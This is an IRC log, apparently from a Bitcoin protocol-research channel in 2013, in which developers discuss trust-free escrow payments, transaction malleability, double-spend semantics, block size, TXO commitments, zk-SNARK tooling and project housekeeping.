01:23 < gmaxwell> petertodd: in CJ we can arrange so that _no one_ learns the input/output matching, which we can't in this. But in this we can make it so that the coins have fully disjoint history. .. of course, this isn't secure until malleability is fixed.
01:24 < gmaxwell> (since you could announce a mutant, break the precomputed refunds, and then perform a holdup attack)
01:24 < petertodd> yeah, but alice is trusting carol to pay bob anyway, so carol waiting until the first tx confirms isn't a problem
01:24 < gmaxwell> petertodd: alice isn't, in fact, if alice makes carol write a refund transaction before alice announces the escrow payment.
01:25 < petertodd> I mean, I guess you're right that carol could run with the money, but carol is the party that's easiest to fidelity bond here
01:25 < gmaxwell> no need to!
01:25 < gmaxwell> this is trust free if everyone has refund transactions.
01:25 < petertodd> yes, but since we can't have 100% secure refund, fidelity bond carol :)
01:25 < gmaxwell> oh because of malleability, yea but that'll get fixed.
01:26 < petertodd> maybe... I can write this app this weekend!
01:26 < gmaxwell> it has a lot of states.
01:26 < gmaxwell> alice writes the escrow payment demands an nlocked time refund before announcing it. Alice announces. Carol demands a bob-secret release transaction before paying bob.
01:26 < petertodd> sure, but something that can be run by hand shouldn't be too bad
01:27 < gmaxwell> Carol writes the bob paying transaction but demands a nlocktimed refund before paying him.
01:28 < gmaxwell> that in hand carol pays bob. Then it confims asks alice to pay up. If alice is unresponsive carol uses the stashed bob-secret release. or if bob doesn't redeem, she just gets her money back.
01:28 < gmaxwell> petertodd: got a better name for this than "airgapped payment"?
01:34 < petertodd> ooh, actually I think you could do a system where in the general case Carol's payment to Bob is a normal looking transaction too...
01:35 < petertodd> hmm... teleported payment?
01:37 < gmaxwell> petertodd: how?
01:38 < gmaxwell> I was trying to figure out if there was some way to abuse ECDSA but haven't come up with one yet.
01:39 < petertodd> have carol create txout 2 <carol'> <bob> 2 CHECKMULTISIG, and then sign her part of the txout with a transaction paying to HASH160 <hx> EQUALVERIFY <bob> CHECKSIG, Carol gives that partially signed tx to Alice, who then knows Bob can redeem the output via that tx at worst, while normally Carol would, once her payment is confirmed, just sign her part of
the txout with a SIGHASH_NONE|ANYONECANPAY
02:39 < gmaxwell> e.g. You want me to permute some ballots but don't want me to cheat and replace them.
02:39 < gmaxwell> I produce 200,000 permuted sets and commit to a hashtree of them.
02:40 < gmaxwell> The hash tells me which ballot is the one ballot we're going to use, and then I reveal the log2(n) secrets required to recover all 200,000-1 other ballot sets and check my root.
02:41 < gmaxwell> so now we can do a secure shuffle and only send 2*log2(security parameter)+few hashes
02:50 < gmaxwell> it's an idea I'd like to publish but I just don't have the free cycles to actually determine if its been published before.
02:50 < gmaxwell> There are a bunch of little protocols you can get out of using tree-structured-secrets.
16:32 < midnightmagic> gmaxwell: I thought of a reason why proof-of-blockchain storage would still be useful. One could prevent access from all non-archival storage nodes who are connecting just to connect. You can be more sure they are at least helping store the blockchain, even if they may not necessarily do things like relay tx and just act as listening-post black holes.
16:33 < midnightmagic> plus ongoing validation could be if not guaranteed, at least tested for.
16:48 < Luke-Jr> sipa: cannot reproduce after make clean :<
16:52 < sipa> good!
16:54 < Luke-Jr> not really
16:54 < Luke-Jr> means there's some subtle bug in the build system *sigh*
16:54 < Luke-Jr> test_bitcoin seems to still be broken too :<
16:54 < Luke-Jr> (or again?)
16:59 < Luke-Jr> .. or am I running a stale bin :/
19:55 < HM2> I love this channel
19:55 < HM2> I never feel dumber just idling here and reading the scrollback like some of the others on freenode
--- Log closed Fri Oct 25 00:00:42 2013
--- Log opened Fri Oct 25 00:00:42 2013
00:29 < adam3us> musing (again) about whether there is an inherent need to order transactions via miner voting and longest chain algorithm
00:31 < adam3us> that is because the semantic is defined as first transaction is correct (and there is not really a first in a distributed system with unreliable network and untrusted nodes) so then voting and longest chain creates a proxy for first with a sequence of votes from block lottery winners
00:33 < adam3us> consider an alternate semantic: absence of a double spend implies validity, presence of double-spend implies invalidity, transaction aborted, and eg sender loses money sent (and fee)
00:34 < adam3us> in a network with that semantic, security relies on unjammability
00:34 < adam3us> but bitcoin already relies on that (otherwise hacked routers that can selectively delete packets in front of big pools can create problems)
00:34 < adam3us> no one awake huh?
00:38 < Luke-Jr> adam3us: and what of a double spend that occurs hours later?
00:38 < adam3us> yeah so i guess that would be defined as invalid
00:38 < Luke-Jr> retroactively invalidating the current transaction?
00:38 < adam3us> it doesnt give as much user choice of how many confirms to expect
00:38 < adam3us> no ignored as too late
00:38 < Luke-Jr> "too late" won't come to a consensus
00:39 < adam3us> well i was thinking if the spend is mined into a block as now, then you have a timestamp on the spend
00:39 < adam3us> then say both parties agree to 6 confirms
00:40 < adam3us> and so long as there are no double spends on the network in that time the transaction is deemed valid
00:41 < adam3us> so rather than different views of which transaction came first in a double spend triggering orphans (if the conflicting blocks happen close enough to at the same time)
00:41 < adam3us> they are valid, they just invalidate the conflicting transaction (if hey happen within 6 blocks of the original transaction) say
00:43 < adam3us> the next block mined on top refers to both branch hashes, as they are no longer considered to conflict
13:10 < jgarzik> gmaxwell, amiller, anyone played around with CP-ABE + bitcoin, that we're aware of?
13:12 < sipa> cp-abe?
13:12 < petertodd> adam3us: re: double-spends, remember that the blockchain serves as proof-of-publication: by defining the blockchain as where transactions are stored, participants can use their knowledge of the blockchain to be sure they know of every valid transaction in existance, and thus they know about all double-spends.
13:13 < petertodd> adam3us: dealing with attacks via information hiding is something I'm been thinking about a lot lately re: ideas to "shard" the blockchain data so you only have to keep up to date with part of it
13:17 < petertodd> adam3us: (by "they know about all double-spends", remember that you could make a bitcoin-like system where double-spends *are* allowed in blocks, but are invalid and are just useless data! it's only an *optimization* that the bitcoin protocol doesn't allow double-spends to be in the blockchain!)
13:17 < jgarzik> sipa, https://en.bitcoin.it/wiki/Distributed_markets#Pay_to_policy_outputs
13:19 < adam3us> petertodd: well maybe (about optimization), tho Luke-Jr said well what if the spend comes in later, when do you declare it too late to add a double-spend (invalidating a transactoin)
13:20 < amiller> jgarzik, i don't know of anyone that's used it, no
13:20 < amiller> jgarzik, i think i understand it pretty well and it's not too complicated
13:20 < amiller> i mean i don't see any obstacle to using it except you'd have to support a diff signature type
13:21 < amiller> you'd have to have a trusted issuer anyway though
13:21 < petertodd> adam3us: oh, your proposing something where both transactions are invalid?
13:21 < amiller> so i can't imagine the setup model is something anyone would buy
13:22 < adam3us> petertodd: well musing about the implications of that model yes, if there would be any advantage to be had by exploring it
13:22 < amiller> it's a lot of extra effort and complexity for having a trusted third party that could just be online and sign the transactions anwyay
13:22 < adam3us> why is a block so big anyway that 1MB starts to be a problem? doesnt it refer to the txids rather than include the text of the tx?
13:22 < petertodd> adam3us: right, problem there is it lets you grief anyone getting paid by the transaction. I've proposed stuff kinda like that, but only in the context of fidelity bonds
13:22 < jgarzik> amiller, true
13:22 < jgarzik> amiller, I was thinking of it in context of oracles and agents
13:23 < adam3us> cant a block therefore refer to a huge number of txs relatively compactly in a merkle tree? w
13:23 < petertodd> adam3us: with a better scripting language you could have a system where proof-of-double-spend can be used to destory the bond
13:23 < adam3us> yes thats true
13:23 < sipa> adam3us: a block's size refers to header + tx body
13:23 < sipa> adam3us: that doean't mean it needs to be traferred that way
13:24 < sipa> but the rule for limiting block sizes uses that
13:24 < jgarzik> I want to play with sending block header + list of TXs via UDP
13:24 < jgarzik> er, header + coin base + list
13:24 < petertodd> adam3us: Yes, but miners still have to have the bandwidth to process every transaction; this leads to what I call the censorship problem: if mining can't be done in a low-bandwidth way, mining has to be done out in the open, hence it gets regulated. We can design Bitcoin so multiple low-bandwidth participants can collectively validate the blockchain,
but unless they can colabborate to also mine blocks transactions can be censored.
13:24 < adam3us> petertodd: there are signatures that are one-show, show two signatures you reveal the private key, that might be some discouragement (though a one use private key is inherently fairly harmless once its spent)
13:26 < adam3us> sipa: so why the discussion of limiting block sizes to 1MB if its just a compact collection of references to already sent transactions?
13:26 < petertodd> adam3us: yeah, lots of possibilities. Note w/ fidelity bonds that they actually need a real-time proof-of-publication system - if you don't have that, you can't know if the total amount of transactions being done right now attempting to defraud people (guaranteed by the bond) greatly exceeds the value of the bond. :(
13:27 < sipa> adam3us: because the rule already exists, and changing it is a hard fork
13:27 < sipa> adam3us: btw, the current p2p mechanism does in fact send a block in full
13:27 < petertodd> adam3us: remember too that currently there's way to do partial validation of blocks, or to product short proofs that a block is invalid/fraudulnet. If the blocksize is much larger, it won't be possible to valiate the blockchain at all without a low-bandwidth internet conenction because you won't be able to keep up.
13:27 < adam3us> sipa: does that mean data gets sent over the wire twice?
13:27 < sipa> but it's not an actual requirement, and changing the protocol is easy
13:27 < sipa> adam3us: yes
13:28 < sipa> but even if the protocol is changes not to send duplicates (like bip37 does), the hard rule remains defined over the actual block size
13:28 < adam3us> sipa: doh :) but changing that would mean blocks can be as big as you want practically and so maybe reduce this need for mining fees, though other than block size, its also about throttling spam (low value tx)
13:28 < petertodd> adam3us: sending full blocks has some advantages though in that it removes incentives to play games with propagation to disadvantage smaller miners. makes the system more reliable too as the worst-case and average-case propagation times are closer
13:29 < sipa> i am very uncovinced that the p2p tx broadcast mechanism will remain the primary way of delivering transactions to miners
13:30 < petertodd> sipa: sadly your probably right... out-of-band payments is really nasty this way, because it could be a strong incentive for pools to remain large :(
13:30 < sipa> yup
20:54 < jgarzik> sipa, thus the proposed "just email your draft to XXX, and the rest will happen"
20:54 < jgarzik> for the git-scared
20:54 < jgarzik> Linux kernel always had a process for people who did not want to touch git at all (sometimes it was necessary for legal reasons). You can always just email a patch against a tarball.
20:56 < gmaxwell> I do think we should have clear seperation from "crap random person produced" and something that has had some public support.
20:56 < jgarzik> commit access can be anybody trusted, even outside dev team. mainly must fulfill rule "BIPS editor + backups in case he goes crazy or gets hit by a bus"
20:57 < gmaxwell> E.g. no BIP number for things that are just submitted.
20:57 < jgarzik> indeed
20:57 < gavinandresen> jgarzik gmaxwell sipa: I'm thinking of cleaning up pull requests by closing anything with a merge conflict more than X months old. I'm wasting time constantly re-reading old requests....
20:57 < jgarzik> gavinandresen, my standard is "rebased has been requested, and not responded to after X months"
20:57 < jgarzik> *rebase
20:58 < jgarzik> gavinandresen, kinder gentler to request a rebase first
20:58 < gmaxwell> gavinandresen: fine with me. To avoid bruised feelings you can say that it can be reopened with a new patch if someone would like to continue it.
20:58 < gavinandresen> I'll definitely say "reopen after rebase"
20:59 < gmaxwell> gavinandresen: note that random people can't actually reopen themselves (IIRC only people with commit access can)
20:59 * gmaxwell hops onto an airplane
20:59 < gavinandresen> gmaxwell: ok, I'll definely say "open a new request after rebase"
21:00 < gavinandresen> (they can link to discussion in old request, if it is relevant)
21:00 < gavinandresen> Wading through long discussions in old pull requests is a time-sink, too
21:00 * jgarzik wonders if github supports close-with-boilerplate
21:00 < gavinandresen> What do we like for X months?
21:00 < jgarzik> 2-3
21:01 < jgarzik> *poof* hops on the baby bedtime bus.
21:01 < gavinandresen> good deal, prepare for a flurry of closes....
21:02 * sipa prepares by closing his eyes
21:02 < sipa> zZzZ
21:04 < Luke-Jr> I seem to have a PR rebase/fix period of about 3 months with my current workload :<
21:04 < Luke-Jr> too bad github doesn't make it possible for the author to reopen things
21:25 < petertodd> sipa: if we ever made a standard transaction type with scriptSig's with single byte pushes, then yes, the current ref implementation would reject it
21:26 < petertodd> sipa: point is if you do scriptSig << single-byte in the C++ code, it gets added with a PUSHDATA always
21:28 < petertodd> sipa: "< sipa> i git-sign all github merges i do now :)" <- careful, I *will* call you out on that if you ever don't :P
--- Log closed Mon Oct 21 00:00:28 2013
--- Log opened Mon Oct 21 00:00:28 2013
00:52 < sipa> petertodd: i certainly sometimes won't; i don't always have access to my gpg key
00:53 < sipa> petertodd: right, i think i got that, but at some point lost that comment on github; is there any reason why we can't just fix that singke byte push at the same time?
00:54 < sipa> petertodd: i understand that functionally, it is not required now, as any transaction to which it applies is already non-standard
00:55 < sipa> but i'd rather just have a single version, which can later be moved from IsStandard to a network rule
00:59 * Luke-Jr wonders if we should start deploying some form of gmaxwell's antispam addresses in 0.9 so there's some overlap time
01:02 < sipa> given that the majority of clients don't even support sending to P2SH, i really doubt any will be implementing a new and less convenient one, as long as there are no clear benefits
01:03 < Luke-Jr> sipa: there are clear benefits, becoming more necessary every day it seems
01:04 < sipa> for the network, obviously
01:04 < sipa> not for them
01:07 < sipa> you don't have to convince me of the benefits, i'm just very skeptical whether the community would adopt a new address scheme in the first place
01:08 < sipa> with something like the payment protocol, this woukd be significantly easier
01:08 < sipa> but even in a best-case scenario, far from every transaction will use that
01:15 < Luke-Jr> hm
01:15 < Luke-Jr> does the payment protocol support something like this already? :/
01:16 < sipa> no, it can't
01:16 < sipa> as it needs non-transparent client support
01:17 < sipa> but with a payment protocol, it's just client authors that needs to adopt it
01:17 < sipa> rather than everyone
02:29 < petertodd> sipa: right, so go off an update your pull-req to make that change :P
02:30 < petertodd> Luke-Jr: I'm kinda skeptical of P2SH^2 right now, given that my TXO commitments makes the UTXO set size much less worrying, and embedding data in the chain via pubkeys is still possible there
03:32 < sipa> petertodd: but it's an order of magnitude more invasive
03:33 < sipa> do you really think bitcoin could be converted into someday
03:33 < sipa> ?
03:34 < sipa> i consider it an idea worth exploring in an aktcoin, at least initially
04:04 < petertodd> sipa: invasive? I dunno, I think it's less invasive than UTXO commitments - the code is simplier for one.
04:04 < petertodd> sipa: Remember that TXO commitments with txin proofs scale in that you can always store some or all of the UTXO set to reduce bandwidth.
04:05 < petertodd> The main thing is to have a protocol where you can ask your peer for proofs of txins that you yourself don't know about, allowing you to drop UTXO's you don't think are going to be spent. (preferably even fully selectively)
05:05 < sipa> petertodd: i mean compared to transferring an address preimage along with transactions
05:06 < sipa> they're just so different degrees of 'different', that saying that one isn't necessary because the other fixes it in a better way isn't very relevant
05:06 < sipa> in a theoretical from the ground up cryptocurrency you are right of course
05:07 < sipa> but bitcoin has an actual economy and community around it that every change can be hard
05:08 < petertodd> oh, right, yeah, I agree that's invasive
05:09 < sipa> put otherwise: i see address preimages as something that is still bitcoin and can be integrated
05:09 < petertodd> Still I think TXO commitments have so many long-term advantages for scalability that they're worth it on that alone.
05:09 < petertodd> And I disagree with the idea that they're "not bitcoin"
05:10 < sipa> what is bitcoin can change over time of course
05:10 < sipa> but change likely needs to be gradual
05:10 < petertodd> And actually... maybe you can make the argument that TXO commitments are less invasive than P2SH^2 - they're only a validating node change, not a client-side change.
05:10 < sipa> huh?
05:10 < sipa> maybe i misunderstood it then
05:11 < petertodd> Hmm... and actually, I'll argue the TXO commitments are more gradual too, given they're a mining soft-fork.
05:11 < petertodd> sipa: TXO commitments is just taking a hash of a merkle mountain range of the TXO set, spent and unspent.
05:11 < sipa> but the sender needs to construct that, no?
05:11 < petertodd> no!
05:12 < petertodd> anyone between the sender and the miner can make the proof; initially senders would likely not bother implementing it, and everyone would be forced to have near-complete UTXO sets
05:12 < petertodd> but that can change gradually
05:12 < sipa> right, ok
05:13 < sipa> but the idea was to move storage away from validation nodes?
05:13 < petertodd> basically an implementation strategy would be 1) implement hashing code, 2) do soft-fork, 3) start adding networking protocol rules to be able to use proofs, 4) start working on fraud proof stuff, 5) eventually start using them to store less data
05:14 < petertodd> changing clients only really has to happen at the very end
05:14 < petertodd> potentially never
05:14 < sipa> i still consider it a far more invasive change :)
05:14 < sipa> but maybe that's because i understand it less
05:14 < petertodd> there's a lot more client code out there; lots of stuff assumes addresses have specific forms
05:15 < petertodd> besides, we need TXO commitments for scalability and fraud proofing in the long run.
05:16 < sipa> i find that an odd statement
05:16 < petertodd> why?
05:16 < sipa> would you have said that before you knew about that possibility?
05:16 < sipa> of course anything that improves scalability is an improvement
05:17 < sipa> but needing makes it sounds like it is the only possibility
05:17 < petertodd> yes, I got Gavin to agree months ago that fraud proofs w/ UTXO sets were a pre-condition to changing the blocksize for instance, and I still wanted them even if we didn't to make fidelity bonded banks more auditable
05:17 < petertodd> UTXO commitments are the other option, but they don't let you avoid storing the whole UTXO set
05:18 < petertodd> keep in mind that MMR TXO commitments are a form of UTXO commitment that just happens to also commit to all transactions ever made by accident :P
05:19 < sipa> i'm weighing the difficulty of change vs the scalability improvements over time
05:20 < petertodd> well Mike's view is that we'll magically apply enough social pressure that the UTXO set remains small so P2SH^2 isn't needed :P
05:20 < sipa> if you look at a longer time span, more scalability is likely worth it
05:21 < sipa> but that doean't mean we don't have short term problems that need fixing first
05:21 < sipa> like having a client that doesn't corrupt its database all the time for some people
05:22 < petertodd> but, is some data in the UTXO set a big enough problem in the next few years that we have to go off and change every bit of bitcoin-related software that assumes addresses are of a certain form?
05:22 < sipa> it's more about setting the right economic incentices than an actual short term problem i guess
20:08 < gmaxwell> (coinswaps require there to be two parties, one that wants altBitcoin and has bitcoin, one that wants Bitcoin and has altBitcoin... nice little trading business... but you need the bulk moves in order to not be constantly going broke on one side or the other)
20:09 < gmaxwell> and yea, in that case requiring 100 headers would be fine.. (but damn that would really bet nicer with a snark than 8kb++ of header data in the txn)
20:19 < andytoshi> arguably, this is exactly the way to experiment with snarks
20:19 < adam3us> andytoshi: unless its your bitcoins in the alt :)
20:20 < andytoshi> :P that's right, i keep forgetting these things are so valuable
20:23 < gmaxwell> IMO SINs are the best snark expirment. :P
20:25 < gmaxwell> BlueMatt: some extra points you might have already realized: the altcoin itself can do the "coinjoin". You make a tx there with a special ToBitcoin Txout and it adds a scriptPubKey to a list maintained by miners, and every {interval} that list is published in the block in a location that makes the proof for it really compact (e.g. at the top of the hashtree)
and it has all the values and scriptpubkeys that need to move over.
20:25 < BlueMatt> yep
20:26 < BlueMatt> wait...can you do rolling outputs to the alt?
20:26 < gmaxwell> The next is that point I made about the redeem transaction being temporarly locked and 'reversable' via a longer chain means you don't need to have a long proof.. just a couple headers to prevent a dos attack, if someone cheats someone will unsteal the coins with a longer proof.
20:26 < gmaxwell> thats rolling outputs from the alt to bitcoin.
20:27 < BlueMatt> ie the alt always has one and only one output to it (if its in the standard form, anyone can create the next txn) that keeps track of all the outputs to the alt, and then to spend, you have to provide spv proof from the previous roll to the currnet chain?
20:27 < gmaxwell> yea thats what I was imagining the whole time.
20:27 < BlueMatt> ahh, ok, yea
20:28 < BlueMatt> somehow I was only picturing individual outputs and arbitrary spv proofs back some fixed distance
20:28 < BlueMatt> gmaxwell: some of us are slow :p
20:28 < gmaxwell> nah, then you get into granularity problems. :P sorry.
20:28 < gmaxwell> darnit I had one more idea and now I'm forgetting it.
20:29 < BlueMatt> yea, it seemed to not scale...
20:29 < maaku> BlueMatt: give altcoins an annual demurrage rate of 50%
20:30 < gmaxwell> oh, how they pay their miners? I figured miners in the alts would be purely paid by transaction fees.. in bitcoins.
20:30 < BlueMatt> gmaxwell: yes, thats something I was largely ignoring for complexity reasons...needs thought
20:30 < BlueMatt> maaku: hmm?
20:30 < amiller> that's a neat question, BlueMatt.
20:31 < gmaxwell> BlueMatt: oh ohoho the other point wrt security.... nothing stops bitcoin miners from also validating the altchains, they're just not required to. So if they do see a bogus proof they can just ignore it unless it gets into the chain.
20:31 < maaku> was reading the log; that's for experimentation in an altcoin without threatening bitcoin as a store-of-value
20:31 < BlueMatt> maaku: well, there are plenty of ways to accomplish it, I just wanted to do it while allowing good scaling/storing value in btc in altchains
20:32 < BlueMatt> gmaxwell: hmm, yes
20:32 < BlueMatt> fun
20:32 < gmaxwell> though I think since we're willing to tolerate long release times, the ability to unsteal with a longer header is pretty good.
20:33 < BlueMatt> yup
20:58 < valek1024> hello
20:59 < valek1024> can someone point me in the right direction for selling my 2011 first month of mint casascius bitcoin with the error in the hologram. the error is a misprint in the background of the hologram the casascius is missing the middle s
21:00 < BlueMatt> terribly, terribly wrong channel
21:01 < valek1024> ty bluematt i understand i am in the wrong place but as wizards should't you be able to help?
21:01 < maaku> ebay?
21:02 < BlueMatt> valek1024: no, we cant help, go elsewhere
21:02 < maaku> valek1024: we could design you a secure multi-party cryptographic auction protocol
21:03 < maaku> but finding buyers is your job ;)
21:03 < maaku> maybe #bitcoin
21:03 < valek1024> see that is helpfil
21:03 < valek1024> helpful
21:04 < midnightmagic> No. #bitcoin-otc for selling goods.
21:04 < valek1024> there is and was no reason to be rude sir, i was simply asking for help
21:04 < midnightmagic> #bitcoin will boot for that.
21:05 < BlueMatt> (we should too)
21:41 < adam3us> gmaxwell, BlueMatt: suggest to write this up and get further details and efficiency worked out. i think its potentially very useful to combat the remaining rationale for the existence of alts (other than enriching their creators, preminers and early rented vsp early miners before their no real transaction bubble bursts)
22:34 < gmaxwell> adam3us: it also adds to the scalablity dialog... but perhaps what we should do is just do a trial implementation.
22:35 < BlueMatt> gmaxwell: yes!
22:35 < BlueMatt> you should totally find time to do that
22:36 < adam3us> fantastic :) i can maybe help out in some way
22:37 < BlueMatt> keyword *you*
22:37 < gmaxwell> Tweedledee coin, and tweedledum coin.
22:40 < BlueMatt> heh, yup
22:41 < andytoshi> are the currently available snarks viable for a trial implementation?
22:41 < andytoshi> don't these proofs take days to generate?
22:47 < amiller> andytoshi, you can download pinocchio and use it now
22:48 < adam3us> andytoshi: if at all possible i would suggest to start with seeing how efficient it can be made without dependence on snark, bitcoin has simple & conservative crypto assumptions so far and that is a feature
22:48 < amiller> andytoshi, it unsurprisingly relies on a windows binary kernel to run the actual fast crypto, but most of their actual work is in python and they're almost done making it fully open
22:48 < amiller> andytoshi, it takes 15 seconds on a single core to prepare a proof about SHA1 on a small input
22:49 < amiller> andytoshi, you can also use pantry, it's fully open but has baffling dependencies and i haven't personally gotten past that
22:50 < andytoshi> awesome, i'll check them both out
22:50 < andytoshi> adam3us: i think you are missing the point :)
22:51 < adam3us> andytoshi: to not lose bitcoins and enable alts to respect the 21 mil digital scarcity?
22:51 < andytoshi> no, to be a wizard ;)
22:53 < adam3us> andytoshi: homomorphic encryption is cool too, but impractically inefficient. snark is cool and related and practically efficient, but has some newer crypto assumptions in my view. you dont want an alt to go up in smoke if someone finds a mathematical flaw in the deployed pairing params (eg)
23:01 < amiller> in my view, the effort of trying to optimize an implementation of traditional homomorphic encryption is almost certainly an overoptimization
23:02 < amiller> er premature optimization
23:03 < andytoshi> well, that'd be a research project in itself
23:09 < andytoshi> hey, pantry was developed partially here at UT austin
23:09 < andytoshi> i can track these people down and ask how to build it :P
23:11 < Luke-Jr> andytoshi: wait, you're in Austin? :o
23:12 < andytoshi> Luke-Jr: i started my ph.d. here this september
23:13 < andytoshi> i'm usually from vancouver
23:13 < Luke-Jr> andytoshi: doh, I was just there last week XD
23:13 < Luke-Jr> coulda met up
23:14 < andytoshi> oh! damn
23:15 < andytoshi> if we had a picture together, that'd show altoz that i'm not a sock puppet..
23:16 < Luke-Jr> altoz is silly, complaining that we're being rude(
) when his posts are the only ones that strike me as particularly rude O.o
23:16 < andytoshi> yeah, i read through yours just to be sure, and that's my interpretation too
23:16 < andytoshi> all i did was post a link and say "don't be rude" :P
23:17 < Luke-Jr> about the rudest thing I did IMO was decide I wasn't responding to some stupid comments of his <.<
23:18 < andytoshi> "
23:18 < andytoshi> I am using ECIES, I think. I would need a more experienced cryptographer to examine the code to make sure, but it's fairly straightforward."
23:18 < andytoshi> this is his latest resposne to "are you using ECIES?"
23:19 < andytoshi> imo you should've been much ruder :P
23:20 < Luke-Jr> lol
23:27 < gmaxwell> andytoshi: only the pinocchio (without the pairing crypto backend. :( ) and the pantry system are available
23:30 < andytoshi> you mean the zk-snark stuff is not public?
23:34 < amiller> pantry and pinocchio are both zk-snarks
23:34 < amiller> there are three zk-snark implementations, pantry, pinocchio, and tinyram, of these tinyram is not yet available
23:36 < andytoshi> oh, i see, thanks
23:37 < andytoshi> i have only read the first couple pages of this latest paper, i think it talks a lot about the background
23:37 < andytoshi> so i'll try to get straight what's been happening in this field
--- Log closed Wed Dec 18 00:00:05 2013
--- Log opened Wed Dec 18 00:00:05 2013
02:31 < gmaxwell> well pinocchio is only kinda public, the circuit generator is public, but without the underlying crypto libraries, it's not useful.
02:34 < gmaxwell> amiller: oh have they made the resot of pinocchio public now?
02:35 < gmaxwell> in any case, I think the obvious thing to do with pinocchio/friends is make a blind sin proof. Though I don't see how to do it without having an ecdsa verification under the proof... which is probably going to hurt a bit.
02:36 < gmaxwell> s/verification/signature/ in fact.
02:38 < gmaxwell> e.g. You make a proof of the statement X is the hash of a determinstic-signature of data Y, using a key, committed to by a SIN transaction paying >=Z in fees, spv connected to header Q.
02:39 < gmaxwell> Feed in the name of a site in Y "bitcoin talk" and X is an identity you use to log into the site that can be banned, and replacing it costs you Z bitcoin.
13:54 < gmaxwell> HOLY CRAP THAT TOOK TOO MUCH TIME
13:54 < gmaxwell> Here is the post I was looking for: https://bitcointalk.org/index.php?topic=20171.msg255631#msg255631
13:55 < gmaxwell> (I also, apparently, posted the same thing in response to claims that security could be paid by "assurance contracts": https://bitcointalk.org/index.php?topic=157141.msg1665607#msg1665607 )
13:56 < gmaxwell> amiller: in any case, we've very close to the coin burning race with this thinking.
13:57 < gmaxwell> amiller: the "if someone double spends you, you make a child transaction that sends all the coins to fees just to make sure the dude double spending you can't turn a profit"
13:57 < amiller> quick offtopic (on topic?) question
13:57 < amiller> does theymos maintain rigours backups of the forum
13:57 < amiller> does anyone else help provide backups of it?
13:58 < gmaxwell> amiller: yes and yes.
13:58 < amiller> maybe bitcoin foundation would want to sponsor archival backups of resources like the wiki and the forums because there's tons of valuable data there
13:58 < amiller> ok
13:58 < gmaxwell> there are backups, encrypted to some set of keys. Some of the global mods have copies.
13:58 < gmaxwell> It would also be nice if the forum merkelized all the posts, and could publish roots that could be timestamped.
13:58 < gmaxwell> Some of the posts may be important in the furture to twarting patent attacks.
14:01 < petertodd> gmaxwell: would it be possible to make public post archives something that can be mirroed directly?
14:02 < petertodd> (in the clear)
14:02 < gmaxwell> You've got me.
14:02 < petertodd> I can certainely write the code to merklize/timestamp it all
14:02 < petertodd> ?
14:03 < midnightmagic> just love how merkle trees are going into everything these days
14:04 < gmaxwell> petertodd: it would probably be a relatively minor modification to the backup procedure to produce a hash root that could be spit out with the backup and timestamped to allow someone with the backup to do selective reveals.
14:04 < amiller> i bought merkletrees.org from namecheap (with bitcoins)
14:04 < midnightmagic> structured storage types would allow data mining if the data were public, too, based on timestamp and username.. forum-wide diffing would be cheap
14:05 < midnightmagic> amiller: glorious :)
14:05 < petertodd> gmaxwell: What form are posts stored in? I assume a mutable database right?
14:05 < gmaxwell> midnightmagic: I don't know that we (or at least theymos) necessarily wants to enable that.
14:05 < gmaxwell> petertodd: I assume. You know as much as I do.
14:06 < midnightmagic> merkle tree + timestamp, username, + link to forum individual message?
14:06 < gmaxwell> My only extra knoweldge of the forum is that I'm a subforum mod in two sections, .. and that means I have access to the staff and donor areas and have talked to theymos a bit more than $random_person. But I don't actually know that much.
14:06 < gmaxwell> Warren probably knows more about how the forums work than I do now.
14:06 < midnightmagic> SMF puts it all into a backend database like mysql.
14:06 < grau> lets be consequent and commit the merkle root of bitcointalk.org to the blockchain :)
14:06 < petertodd> gmaxwell: The 312668.msg3357169 bit in the URL's implies we've got sequential numbers to use.
14:07 < midnightmagic> petertodd: they are sequential numbers.
14:07 < gmaxwell> petertodd: In any case, the backups would obviously seralize messages in some order, so that could get treed.
14:07 < gmaxwell> posts can be edited. so any timestamp really needs to be "as of some backup".
14:08 < midnightmagic> the main drawback of SMF is prior-edits are wiped unless theymos is running something special to version them
14:08 < midnightmagic> (or a logged database backend I suppose)
14:08 < gmaxwell> Can someone else confirm that the forum is hacked again?
14:08 < gmaxwell> Reload as a non admin on the main page or something.
14:08 < gmaxwell> (someone reporting this in #bitcoin)
14:09 < petertodd> gmaxwell: Yeah, well maybe the absolutel easiest would be to just use opentimestamps - I've got code that can do a merkle mountain range where you feed it arbitrary digests, and it gives you top-level-digests to timestamp.
14:09 < sipa> gmaxwell: haven't visited the forum in weeks
14:09 < petertodd> gmaxwell: I'm not seeing anything.
14:09 < sipa> gmaxwell: how do i recognize it being hacked?
14:09 < grau> normal
14:09 < gmaxwell> sipa: some kind of javascript animation? :P
14:09 < gmaxwell> okay, crazy user.
14:09 < gmaxwell> thanks. I wanted to get a confirmation before I called theymos. :)
14:09 < sipa> don't see naything
14:10 < petertodd> gmaxwell: Basically this would give you a database of digests where you can easily extract a tiemstamp proof for an arbitrary digest.
14:14 < amiller> forum seems fine to me?
14:14 < gmaxwell> amiller: thanks, seems like the user has some weird dns issue.
14:14 < midnightmagic> forum is fine here also
14:15 < gmaxwell> petertodd: wrt signed advertisements, I'd assume that you'd sign all of them, and have some priority flag for addresses you consider most credible.
14:16 < petertodd> gmaxwell: that works
14:18 < petertodd> gmaxwell: huh, seems that SMF stores every single post in the database, so it should be easy enough to write a script to dump the posts, hash them, and timestamp them that way
14:19 < gmaxwell> petertodd: sure, I expect it to do that. I was just suggesting that it would go along with the backup data (since you'll need the posts too)
14:20 < petertodd> gmaxwell: yup. Anyway, the only obstacle is getting a copy of the data to work on. I suspect this could be a weekend project otherwise.
14:33 < jgarzik> sipa, gmaxwell: speaking of resetting testnet... new blocks are appearing every few seconds. some fool ASIC miner probably aimed his machine at it.
14:34 * midnightmagic suddenly wants to run on testnet.
14:56 < HM2> :}
18:21 < HM2> Hmm, I don't think anyone is going to write a JSON Spirit replacement in Spirit X3 yet
18:21 < HM2> it's riddled with odd behaviour and possible bugs
18:47 < warren> wait huh
18:47 < warren> forum hacked?
18:48 < sipa> not again
19:09 < Luke-Jr> which forum?
19:10 < pigeons> bitcointroll.org is up
19:17 < Luke-Jr> abitcoin.org is too
19:18 < sipa> someone claimed bitcointalk was hacked again, but that seemed incorrect
19:19 < warren> btc-e's top news from today is "Urgent! bitcointalk.org was hacked! Change your password ASAP!"
19:20 < warren> yesterday btc-e was down for a few hours they claim due to a DDoS attack
20:03 < gmaxwell> petertodd: So the MMR UTXO-LOG stuff.
20:03 < gmaxwell> petertodd: ISTM that the transaction sizes would grow forever. Because the spendability proofs would be log2(utxos ever) since you cannot do a storageless rebalance of a MMR.
